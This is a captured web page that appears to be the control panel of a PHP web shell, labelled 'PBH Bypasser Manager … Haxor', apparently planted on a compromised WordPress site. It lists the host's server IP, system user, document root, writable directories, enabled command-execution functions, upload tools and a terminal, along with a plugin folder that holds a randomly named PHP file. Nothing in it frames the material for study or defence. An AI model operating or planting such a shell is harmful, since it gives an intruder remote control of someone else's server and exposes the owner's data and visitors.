🌸 peopleprofitspensions.com

PBH Bypasser Manager | Use your logic to penetrate all Security

v1.1.2 Haxor
Home
0 item(s) selected

Quick Upload

Upload via URL

Single File

Multiple Files

Server Information

SERVER INFO

Software Apache
PHP Version 7.3.33
OS Linux
Server Name peopleprofitspensions.com
SSL Enabled

NETWORK & USER

Server IP 192.249.116.253
Your IP 216.73.217.68
User people68
Group people68
Document Root /home/people68/public_html

PHP LIMITS

Upload Max 512M
Post Max Size 512M
Memory Limit 768M
Max Execution 0s
Disabled Functions None

WRITABLE CHECK

Temp Dir Writable
Document Root Writable
Server Time 2026-09-22 16:02:39
Timezone UTC

TERMINAL FUNCTIONS

Shell Exec Exec System Passthru Popen Proc Open PCNTL Exec
NameSizePermissionsModifiedOwnerActions
.well-known -- 0755 2026-09-14 22:19:13 people68
amanagersguidecom-wp-modern-plugin -- 0755 2026-09-16 13:26:25 people68
awprabuall -- 0755 2026-09-16 15:43:54 people68
canva -- 0755 2026-09-14 22:46:41 people68
column-shortcodes -- 0755 2026-09-14 22:47:17 people68
custom-content-width -- 0755 2026-09-14 22:46:41 people68
header-footer -- 0755 2026-09-14 22:47:17 people68
performant-translations -- 0755 2026-09-14 22:44:15 people68
shortcode-widget -- 0755 2026-09-14 22:51:49 people68
system -- 0755 2026-09-21 03:04:45 people68
vw1zhrlt659jkjri5dun -- 0755 2026-09-14 22:44:15 people68
wp-admin -- 0755 2026-09-14 22:19:13 people68
wp-file-manager -- 0755 2026-09-14 22:47:17 people68
index.php 28 B 0755 2014-06-06 04:29:14 people68
odszncmya1pycf54nCfm.php 185.3 KB 0755 2026-08-25 21:15:50 people68
wp-signup.php 10.19 KB 0755 2026-08-29 06:41:08 people68

Terminal (Working dir: /home/people68/public_html/a/wp-content/plugins)